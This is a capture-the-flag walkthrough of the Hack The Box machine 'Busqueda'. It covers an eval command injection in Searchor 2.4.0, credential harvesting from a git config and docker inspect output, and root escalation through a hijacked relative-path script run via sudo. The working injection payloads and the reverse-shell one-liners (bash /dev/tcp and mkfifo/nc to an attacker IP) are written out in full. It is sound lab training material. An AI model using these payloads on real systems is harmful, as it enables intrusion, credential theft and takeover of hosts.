Run a nmap scan
└─$ nmap -sC -sV -Pn -v 10.129.160.47
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
|_ 256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
80/tcp open http Apache httpd 2.4.52
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://searcher.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Add an entry for searcher.htb
in the /etc/hosts
file along with its corresponding IP address. This will enable the system to resolve the domain name and allow access to it via the browser.
echo "10.129.160.47 searcher.htb" | sudo tee -a /etc/hosts
When visiting searcher.htb
in the browser, the homepage of the "Searcher" app is displayed. This app functions as a search engine aggregator, enabling users to search for information across multiple search engines.
Users can choose a search engine, enter a query, and either be automatically redirected to the search results or receive a URL link to those results.
After clicking the "Search" button, the website generates and provides the URL corresponding to the selected search engine along with the entered query.
Note that the website's footer indicates that it is running on Flask and using Searchor version 2.4.0.
Clicking the "Searchor 2.4.0" hyperlink in the webpage footer redirects us to its GitHub repository, where we can view the changelog for various releases. Notably, there is a reference to a critical vulnerability being patched in version 2.4.2. Since the website is running version 2.4.0, it is likely vulnerable.
Upon reviewing the patch, it is clear that the pull request addresses a command injection vulnerability within the search functionality. This vulnerability arises from the use of an eval
statement on unsanitised user input, making the site susceptible to exploitation.
By examining the specific commit, we can see that the vulnerable eval
statement in the main.py
file was replaced. This change is part of the patch that resolves the command injection vulnerability in the code.
To exploit this vulnerability, download the Searchor 2.4.0 module locally and review its code.
wget https://github.com/ArjunSharda/Searchor/archive/refs/tags/v2.4.0.zip
unzip v2.4.0.zip
By examining the main.py
file, we can confirm that, as shown in the commit, user input is directly passed to an eval
statement without any sanitisation. This is the source of the command injection vulnerability.
nano Searchor-2.4.0/src/searchor/main.py
def search(engine, query, open, copy):
try:
url = eval(
f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
)
click.echo(url)
searchor.history.update(engine, query, url)
searchor search Accuweather "test"
https://www.accuweather.com/en/search-locations?query=test
In the CLI tool, the engine and query parameters are the second and third arguments, and both can be used for command injection since they go straight into the eval
statement. However, if you change the engine to something not on the predefined list, it causes an error. This means we need to focus on the query parameter for the injection. While eval
doesn't usually allow multiple lines, there are ways around this. It's also important to make sure our payload doesn't mess up the earlier part of the eval
statement. With these points in mind, we can create a payload that successfully injects commands and exploits the vulnerability.
') + str(__import__('os').system('id')) #
To make sure the rest of the eval
statement runs correctly, we can use the +
operator to join the output of another line separately. The #
symbol at the end acts as a comment, which ignores anything after it. The full command being evaluated would look like this:
url = eval(
Engine.<some_engine>.search('') + str(__import__('os').system('id')) #', copy_url=
{copy}, open_web={open})"
)
Let’s test the payload and verify if the code injection works.
searchor search Google "')+ str(__import__('os').system('id'))#"
uid=1000(svc) gid=1000(svc) groups=1000(svc) https://www.google.com/search?q=0
We have code execution as the user svc
.
To use this into an interactive shell, we can start a Netcat listener on our local machine on port 1337.
nc -nvlp 1337
Send the following Base64-encoded reverse shell payload in the query parameter on the Searcher website:
bash -i >& /dev/tcp/10.10.14.26/1337 0>&1
')+ str(__import__('os').system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yNi8xMzM3IDA+JjE=|base64 -d|bash'))#
Obtain a reverse shell. Find user flag on /home/svc/user.txt
└─$ nc -nvlp 1337
listening on [any] 1337 ...
connect to [10.10.14.26] from (UNKNOWN) [10.129.160.47] 50324
bash: cannot set terminal process group (1574): Inappropriate ioctl for device
bash: no job control in this shell
svc@busqueda:/var/www/app$ whoami
whoami
svc
svc@busqueda:/var/www/app$ hostname
hostname
busqueda
svc@busqueda:/var/www/app$ ls
ls
app.py
templates
svc@busqueda:/var/www/app$ cd /home
cd /home
svc@busqueda:/home$ ls
ls
svc
svc@busqueda:/home$ cd svc
cd svc
svc@busqueda:~$ ls
ls
user.txt
svc@busqueda:~$ cat user.txt
cat user.txt
acac6c819fca89acb48462b67c8b8f0a
svc@busqueda:~$ ifconfig
ifconfig
br-c954bf22b8b2: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
inet 172.20.0.1 netmask 255.255.0.0 broadcast 172.20.255.255
ether 02:42:4a:a8:02:c5 txqueuelen 0 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
br-cbf2c5ce8e95: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.19.0.1 netmask 255.255.0.0 broadcast 172.19.255.255
inet6 fe80::42:9fff:fe3e:92bd prefixlen 64 scopeid 0x20<link>
ether 02:42:9f:3e:92:bd txqueuelen 0 (Ethernet)
RX packets 1005 bytes 113682 (113.6 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 932 bytes 239021 (239.0 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
br-fba5a3e31476: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
inet 172.18.0.1 netmask 255.255.0.0 broadcast 172.18.255.255
ether 02:42:38:95:e3:e7 txqueuelen 0 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
docker0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
ether 02:42:bb:3a:82:45 txqueuelen 0 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.129.160.47 netmask 255.255.0.0 broadcast 10.129.255.255
inet6 fe80::250:56ff:fe94:4fb prefixlen 64 scopeid 0x20<link>
inet6 dead:beef::250:56ff:fe94:4fb prefixlen 64 scopeid 0x0<global>
ether 00:50:56:94:04:fb txqueuelen 1000 (Ethernet)
RX packets 124751 bytes 11891466 (11.8 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 115461 bytes 27277718 (27.2 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 1959 bytes 158721 (158.7 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1959 bytes 158721 (158.7 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
veth6ca7ace: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet6 fe80::347c:1bff:fe6b:9748 prefixlen 64 scopeid 0x20<link>
ether 36:7c:1b:6b:97:48 txqueuelen 0 (Ethernet)
RX packets 826 bytes 143915 (143.9 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 809 bytes 342377 (342.3 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
veth9b7b3ff: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet6 fe80::8033:34ff:fe2d:9fd6 prefixlen 64 scopeid 0x20<link>
ether 82:33:34:2d:9f:d6 txqueuelen 0 (Ethernet)
RX packets 1790 bytes 468277 (468.2 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1774 bytes 384152 (384.1 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
By listing the files on the remote host, we discover a set of credentials, cody:jh1usoih2bkjaspwe92
, stored in the /var/www/app/.git/config
file. This file also references the subdomain gitea.searcher.htb
.
svc@busqueda:/var/www/app$ ls -la
ls -la
total 20
drwxr-xr-x 4 www-data www-data 4096 Apr 3 2023 .
drwxr-xr-x 4 root root 4096 Apr 4 2023 ..
-rw-r--r-- 1 www-data www-data 1124 Dec 1 2022 app.py
drwxr-xr-x 8 www-data www-data 4096 Oct 21 05:17 .git
drwxr-xr-x 2 www-data www-data 4096 Dec 1 2022 templates
svc@busqueda:/var/www/app/.git$ cat config
cat config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
remote = origin
merge = refs/heads/main
Try log in over SSH using cody:jh1usoih2bkjaspwe92. This did not work.
We can try to log in over SSH as user svc with the obtained password jh1usoih2bkjaspwe92 .
└─$ ssh svc@10.129.160.47
svc@busqueda:~$ ls
user.txt
svc@busqueda:~$ whoami
svc
Run ss -ntplu
to display detailed information about network connections and listening ports on a the host.
svc@busqueda:~$ ss -ntplu
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:3000 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:222 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:43143 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.1:5000 0.0.0.0:* users:(("python3",pid=1574,fd=6),("python3",pid=1574,fd=4))
tcp LISTEN 0 4096 127.0.0.1:3306 0.0.0.0:*
tcp LISTEN 0 511 *:80 *:*
tcp LISTEN 0 128 [::]:22 [::]:*
We can see that our host is listening to internal port 3000
Check /etc/apache2/sites-enabled/000-default.conf
svc@busqueda:/etc/apache2/sites-enabled$ cat 000-default.conf
<VirtualHost *:80>
ProxyPreserveHost On
ServerName searcher.htb
ServerAdmin admin@searcher.htb
ProxyPass / http://127.0.0.1:5000/
ProxyPassReverse / http://127.0.0.1:5000/
RewriteEngine On
RewriteCond %{HTTP_HOST} !^searcher.htb$
RewriteRule /.* http://searcher.htb/ [R]
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
<VirtualHost *:80>
ProxyPreserveHost On
ServerName gitea.searcher.htb
ServerAdmin admin@searcher.htb
ProxyPass / http://127.0.0.1:3000/
ProxyPassReverse / http://127.0.0.1:3000/
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
Again, we see gitea.searcher.htb
domain. Add an entry for it in our /etc/hosts file. Gitea is an open-source, self-hosted Git service that provides a lightweight web interface for managing Git repositories.
sudo echo "10.129.160.47 gitea.searcher.htb" | sudo tee -a /etc/hosts
When navigating to gitea.searcher.htb
in the browser, the Gitea homepage is displayed.
In the "Explore" section of the Gitea application, we can see that there are two users: cody
and administrator
.
Using the previously obtained credentials, we can log in as the user cody
. Inside the account, we find a private repository named Searcher_site
, which contains the source code for the Searcher web app.
Since we don't have the administrator's password, we can't access their private repositories, but it's important to note this for later if we manage to retrieve the password. Moving forward, by checking the sudo permissions for the svc
user, we find that they can run the command /usr/bin/python3 /opt/scripts/system-checkup.py *
with root privileges.
svc@busqueda:~$ sudo -l
[sudo] password for svc:
Matching Defaults entries for svc on busqueda:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User svc may run the following commands on busqueda:
(root) /usr/bin/python3 /opt/scripts/system-checkup.py *
When trying to read the /opt/scripts/system-checkup.py
file, we encounter a "permission denied" error because the svc
user lacks the necessary permissions. The svc
user only has execution rights for the file, not read access.
svc@busqueda:~$ ls -l /opt/scripts/system-checkup.py
-rwx--x--x 1 root root 1903 Dec 24 2022 /opt/scripts/system-checkup.py
Running the Python script brings up a help menu that lists the available arguments that can be used with the script.
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)
docker-ps : List running docker containers
docker-inspect : Inpect a certain docker container
full-checkup : Run a full system checkup
Upon reviewing the available arguments, the /opt/scripts/system-checkup.py
script appears to allow inspection of the existing Docker containers. By using the docker-ps
argument, it displays a list of all running containers.
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
960873171e2e gitea/gitea:latest "/usr/bin/entrypoint…" 21 months ago Up 2 hours 127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp gitea
f84a6b33fb5a mysql:8 "docker-entrypoint.s…" 21 months ago Up 2 hours 127.0.0.1:3306->3306/tcp, 33060/tcp mysql_db
The output from the docker-ps
argument is similar to the result of running the docker ps
command in the Docker utility. When executing the script with the docker-inspect
argument, the usage information shows that it requires two additional arguments: format
and the container name
.
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect
Usage: /opt/scripts/system-checkup.py docker-inspect <format> <container_name>
Although we know the container names, the format
parameter's purpose is unclear. However, since the script's output from the docker-ps
argument closely resembles the docker ps
command, it's reasonable to assume that the docker-inspect
argument in the script uses the docker inspect
command from Docker. To understand the format
parameter, we can refer to the usage information for the docker inspect
command, which is available at Docker's documentation.
Docker uses Go templates to allow users to customise the output format of certain commands. The documentation specifically mentions the {{json .}}
template, which displays all container information in JSON format. Therefore, we can use {{json .}}
as the format
argument required by the docker-inspect
option of the script.
To easily read the JSON output, we can use jq
to parse it into a more readable format. Although jq
can be installed with a command, it is already available on the target machine.
sudo apt-get -y install jq
Let’s run the script with docker-inspect
, using {{json .}}
for the format and the container name. This will give us detailed container info, and we can use jq
to read it easily.
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' gitea | jq
{
"Id": "960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb",
"Created": "2023-01-06T17:26:54.457090149Z",
"Path": "/usr/bin/entrypoint",
"Args": [
"/bin/s6-svscan",
"/etc/s6"
],
"State": {
"Status": "running",
"Running": true,
"Paused": false,
"Restarting": false,
"OOMKilled": false,
"Dead": false,
"Pid": 1715,
"ExitCode": 0,
"Error": "",
"StartedAt": "2024-10-21T05:17:05.915272805Z",
"FinishedAt": "2023-04-04T17:03:01.71746837Z"
},
"Image": "sha256:6cd4959e1db11e85d89108b74db07e2a96bbb5c4eb3aa97580e65a8153ebcc78",
"ResolvConfPath": "/var/lib/docker/containers/960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb/resolv.conf",
"HostnamePath": "/var/lib/docker/containers/960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb/hostname",
"HostsPath": "/var/lib/docker/containers/960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb/hosts",
"LogPath": "/var/lib/docker/containers/960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb/960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb-json.log",
"Name": "/gitea",
"RestartCount": 0,
"Driver": "overlay2",
"Platform": "linux",
"MountLabel": "",
"ProcessLabel": "",
"AppArmorProfile": "docker-default",
"ExecIDs": null,
"HostConfig": {
"Binds": [
"/etc/timezone:/etc/timezone:ro",
"/etc/localtime:/etc/localtime:ro",
"/root/scripts/docker/gitea:/data:rw"
],
"ContainerIDFile": "",
"LogConfig": {
"Type": "json-file",
"Config": {}
},
"NetworkMode": "docker_gitea",
"PortBindings": {
"22/tcp": [
{
"HostIp": "127.0.0.1",
"HostPort": "222"
}
],
"3000/tcp": [
{
"HostIp": "127.0.0.1",
"HostPort": "3000"
}
]
},
"RestartPolicy": {
"Name": "always",
"MaximumRetryCount": 0
},
"AutoRemove": false,
"VolumeDriver": "",
"VolumesFrom": [],
"CapAdd": null,
"CapDrop": null,
"CgroupnsMode": "private",
"Dns": [],
"DnsOptions": [],
"DnsSearch": [],
"ExtraHosts": null,
"GroupAdd": null,
"IpcMode": "private",
"Cgroup": "",
"Links": null,
"OomScoreAdj": 0,
"PidMode": "",
"Privileged": false,
"PublishAllPorts": false,
"ReadonlyRootfs": false,
"SecurityOpt": null,
"UTSMode": "",
"UsernsMode": "",
"ShmSize": 67108864,
"Runtime": "runc",
"ConsoleSize": [
0,
0
],
"Isolation": "",
"CpuShares": 0,
"Memory": 0,
"NanoCpus": 0,
"CgroupParent": "",
"BlkioWeight": 0,
"BlkioWeightDevice": null,
"BlkioDeviceReadBps": null,
"BlkioDeviceWriteBps": null,
"BlkioDeviceReadIOps": null,
"BlkioDeviceWriteIOps": null,
"CpuPeriod": 0,
"CpuQuota": 0,
"CpuRealtimePeriod": 0,
"CpuRealtimeRuntime": 0,
"CpusetCpus": "",
"CpusetMems": "",
"Devices": null,
"DeviceCgroupRules": null,
"DeviceRequests": null,
"KernelMemory": 0,
"KernelMemoryTCP": 0,
"MemoryReservation": 0,
"MemorySwap": 0,
"MemorySwappiness": null,
"OomKillDisable": null,
"PidsLimit": null,
"Ulimits": null,
"CpuCount": 0,
"CpuPercent": 0,
"IOMaximumIOps": 0,
"IOMaximumBandwidth": 0,
"MaskedPaths": [
"/proc/asound",
"/proc/acpi",
"/proc/kcore",
"/proc/keys",
"/proc/latency_stats",
"/proc/timer_list",
"/proc/timer_stats",
"/proc/sched_debug",
"/proc/scsi",
"/sys/firmware"
],
"ReadonlyPaths": [
"/proc/bus",
"/proc/fs",
"/proc/irq",
"/proc/sys",
"/proc/sysrq-trigger"
]
},
"GraphDriver": {
"Data": {
"LowerDir": "/var/lib/docker/overlay2/6427abd571e4cb4ab5c484059a500e7f743cc85917b67cb305bff69b1220da34-init/diff:/var/lib/docker/overlay2/bd9193f562680204dc7c46c300e3410c51a1617811a43c97dffc9c3ee6b6b1b8/diff:/var/lib/docker/overlay2/df299917c1b8b211d36ab079a37a210326c9118be26566b07944ceb4342d3716/diff:/var/lib/docker/overlay2/50fb3b75789bf3c16c94f888a75df2691166dd9f503abeadabbc3aa808b84371/diff:/var/lib/docker/overlay2/3668660dd8ccd90774d7f567d0b63cef20cccebe11aaa21253da056a944aab22/diff:/var/lib/docker/overlay2/a5ca101c0f3a1900d4978769b9d791980a73175498cbdd47417ac4305dabb974/diff:/var/lib/docker/overlay2/aac5470669f77f5af7ad93c63b098785f70628cf8b47ac74db039aa3900a1905/diff:/var/lib/docker/overlay2/ef2d799b8fba566ee84a45a0070a1cf197cd9b6be58f38ee2bd7394bb7ca6560/diff:/var/lib/docker/overlay2/d45da5f3ac6633ab90762d7eeac53b0b83debef94e467aebed6171acca3dbc39/diff",
"MergedDir": "/var/lib/docker/overlay2/6427abd571e4cb4ab5c484059a500e7f743cc85917b67cb305bff69b1220da34/merged",
"UpperDir": "/var/lib/docker/overlay2/6427abd571e4cb4ab5c484059a500e7f743cc85917b67cb305bff69b1220da34/diff",
"WorkDir": "/var/lib/docker/overlay2/6427abd571e4cb4ab5c484059a500e7f743cc85917b67cb305bff69b1220da34/work"
},
"Name": "overlay2"
},
"Mounts": [
{
"Type": "bind",
"Source": "/root/scripts/docker/gitea",
"Destination": "/data",
"Mode": "rw",
"RW": true,
"Propagation": "rprivate"
},
{
"Type": "bind",
"Source": "/etc/localtime",
"Destination": "/etc/localtime",
"Mode": "ro",
"RW": false,
"Propagation": "rprivate"
},
{
"Type": "bind",
"Source": "/etc/timezone",
"Destination": "/etc/timezone",
"Mode": "ro",
"RW": false,
"Propagation": "rprivate"
}
],
"Config": {
"Hostname": "960873171e2e",
"Domainname": "",
"User": "",
"AttachStdin": false,
"AttachStdout": false,
"AttachStderr": false,
"ExposedPorts": {
"22/tcp": {},
"3000/tcp": {}
},
"Tty": false,
"OpenStdin": false,
"StdinOnce": false,
"Env": [
"USER_UID=115",
"USER_GID=121",
"GITEA__database__DB_TYPE=mysql",
"GITEA__database__HOST=db:3306",
"GITEA__database__NAME=gitea",
"GITEA__database__USER=gitea",
"GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"USER=git",
"GITEA_CUSTOM=/data/gitea"
],
"Cmd": [
"/bin/s6-svscan",
"/etc/s6"
],
"Image": "gitea/gitea:latest",
"Volumes": {
"/data": {},
"/etc/localtime": {},
"/etc/timezone": {}
},
"WorkingDir": "",
"Entrypoint": [
"/usr/bin/entrypoint"
],
"OnBuild": null,
"Labels": {
"com.docker.compose.config-hash": "e9e6ff8e594f3a8c77b688e35f3fe9163fe99c66597b19bdd03f9256d630f515",
"com.docker.compose.container-number": "1",
"com.docker.compose.oneoff": "False",
"com.docker.compose.project": "docker",
"com.docker.compose.project.config_files": "docker-compose.yml",
"com.docker.compose.project.working_dir": "/root/scripts/docker",
"com.docker.compose.service": "server",
"com.docker.compose.version": "1.29.2",
"maintainer": "maintainers@gitea.io",
"org.opencontainers.image.created": "2022-11-24T13:22:00Z",
"org.opencontainers.image.revision": "9bccc60cf51f3b4070f5506b042a3d9a1442c73d",
"org.opencontainers.image.source": "https://github.com/go-gitea/gitea.git",
"org.opencontainers.image.url": "https://github.com/go-gitea/gitea"
}
},
"NetworkSettings": {
"Bridge": "",
"SandboxID": "e31e738768b9e9ab8b581d6c123a4d253fe32b1c548f553ca4ec697727c3f5b3",
"HairpinMode": false,
"LinkLocalIPv6Address": "",
"LinkLocalIPv6PrefixLen": 0,
"Ports": {
"22/tcp": [
{
"HostIp": "127.0.0.1",
"HostPort": "222"
}
],
"3000/tcp": [
{
"HostIp": "127.0.0.1",
"HostPort": "3000"
}
]
},
"SandboxKey": "/var/run/docker/netns/e31e738768b9",
"SecondaryIPAddresses": null,
"SecondaryIPv6Addresses": null,
"EndpointID": "",
"Gateway": "",
"GlobalIPv6Address": "",
"GlobalIPv6PrefixLen": 0,
"IPAddress": "",
"IPPrefixLen": 0,
"IPv6Gateway": "",
"MacAddress": "",
"Networks": {
"docker_gitea": {
"IPAMConfig": null,
"Links": null,
"Aliases": [
"server",
"960873171e2e"
],
"NetworkID": "cbf2c5ce8e95a3b760af27c64eb2b7cdaa71a45b2e35e6e03e2091fc14160227",
"EndpointID": "fe7467091fb9731bb30a84360e04afb75bba8549c82158b3b70f7af442b79b95",
"Gateway": "172.19.0.1",
"IPAddress": "172.19.0.2",
"IPPrefixLen": 16,
"IPv6Gateway": "",
"GlobalIPv6Address": "",
"GlobalIPv6PrefixLen": 0,
"MacAddress": "02:42:ac:13:00:02",
"DriverOpts": null
}
}
}
}
With the obtained password yuiu1hoiu4i5ho1uh
, we can log into the Gitea application as the administrator
user. This allows us to explore the private repositories, where we find a scripts
repository. It contains the same files that we previously saw in the /opt/scripts
directory on the remote host.
We should examine the system-checkup.py
file, as we can run it with root privileges on the remote host. While analysing the code, we discover that the full-checkup
argument, which we haven't tested yet, executes a bash script called full-checkup.sh
.
What stands out is that the system-checkup.py
script references the full-checkup.sh
script using a relative path (./full-checkup.sh
) instead of an absolute path (e.g., /opt/scripts/full-checkup.sh
). This implies that the script tries to execute full-checkup.sh
from the directory where system-checkup.py
is run. The script runs successfully when executed from the /opt/scripts/
directory, where the full-checkup.sh
file is located.
cd /opt/scripts/
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
[=] Docker conteainers
{
"/gitea": "running"
}
{
"/mysql_db": "running"
}
[=] Docker port mappings
{
"22/tcp": [
{
"HostIp": "127.0.0.1",
"HostPort": "222"
}
],
"3000/tcp": [
{
"HostIp": "127.0.0.1",
"HostPort": "3000"
}
]
}
[=] Apache webhosts
[+] searcher.htb is up
[+] gitea.searcher.htb is up
[=] PM2 processes
┌─────┬────────┬─────────────┬─────────┬─────────┬──────────┬────────┬──────┬───────────┬──────────┬──────────┬──────────┬──────────┐
│ id │ name │ namespace │ version │ mode │ pid │ uptime │ ↺ │ status │ cpu │ mem │ user │ watching │
├─────┼────────┼─────────────┼─────────┼─────────┼──────────┼────────┼──────┼───────────┼──────────┼──────────┼──────────┼──────────┤
│ 0 │ app │ default │ N/A │ fork │ 1574 │ 2h │ 0 │ online │ 0% │ 15.7mb │ svc │ disabled │
└─────┴────────┴─────────────┴─────────┴─────────┴──────────┴────────┴──────┴───────────┴──────────┴──────────┴──────────┴──────────┘
[+] Done!
To exploit the relative reference to full-checkup.sh
, we can run the system-checkup.py
script from another directory and use our own malicious version of full-checkup.sh
. Let’s create a file in /tmp/full-checkup.sh
and insert a reverse shell payload into it for execution.
echo -en "#! /bin/bash\nrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.26 443 >/tmp/f" > /tmp/full-checkup.sh
#rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <IP> <PORT> >/tmp/f
Make /tmp/full-checkup.sh
executable.
chmod +x /tmp/full-checkup.sh
Start a listener on port 443 to catch the reverse shell.
nc -nvlp 443
To trigger the reverse shell, run the following command from the /tmp
directory on the remote host:
cd /tmp
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
After executing the command on the remote host, we successfully receive a root shell on our listener. The root flag can be located in /root/root.txt
.
└─$ nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.14.26] from (UNKNOWN) [10.129.160.47] 44560
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls
ecosystem.config.js
root.txt
scripts
snap
# cat root.txt
ae812f97f16b6e228e9b7fbe365670b8
# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:94:04:fb brd ff:ff:ff:ff:ff:ff
altname enp3s0
altname ens160
inet 10.129.160.47/16 brd 10.129.255.255 scope global dynamic eth0
valid_lft 3191sec preferred_lft 3191sec
inet6 dead:beef::250:56ff:fe94:4fb/64 scope global dynamic mngtmpaddr
valid_lft 86394sec preferred_lft 14394sec
inet6 fe80::250:56ff:fe94:4fb/64 scope link
valid_lft forever preferred_lft forever
3: br-c954bf22b8b2: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether 02:42:4a:a8:02:c5 brd ff:ff:ff:ff:ff:ff
inet 172.20.0.1/16 brd 172.20.255.255 scope global br-c954bf22b8b2
valid_lft forever preferred_lft forever
4: br-cbf2c5ce8e95: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:9f:3e:92:bd brd ff:ff:ff:ff:ff:ff
inet 172.19.0.1/16 brd 172.19.255.255 scope global br-cbf2c5ce8e95
valid_lft forever preferred_lft forever
inet6 fe80::42:9fff:fe3e:92bd/64 scope link
valid_lft forever preferred_lft forever
5: br-fba5a3e31476: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether 02:42:38:95:e3:e7 brd ff:ff:ff:ff:ff:ff
inet 172.18.0.1/16 brd 172.18.255.255 scope global br-fba5a3e31476
valid_lft forever preferred_lft forever
6: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether 02:42:bb:3a:82:45 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
8: veth6ca7ace@if7: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-cbf2c5ce8e95 state UP group default
link/ether 36:7c:1b:6b:97:48 brd ff:ff:ff:ff:ff:ff link-netnsid 1
inet6 fe80::347c:1bff:fe6b:9748/64 scope link
valid_lft forever preferred_lft forever
10: veth9b7b3ff@if9: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-cbf2c5ce8e95 state UP group default
link/ether 82:33:34:2d:9f:d6 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet6 fe80::8033:34ff:fe2d:9fd6/64 scope link
valid_lft forever preferred_lft forever
References
- Hack The Box Official Walkthrough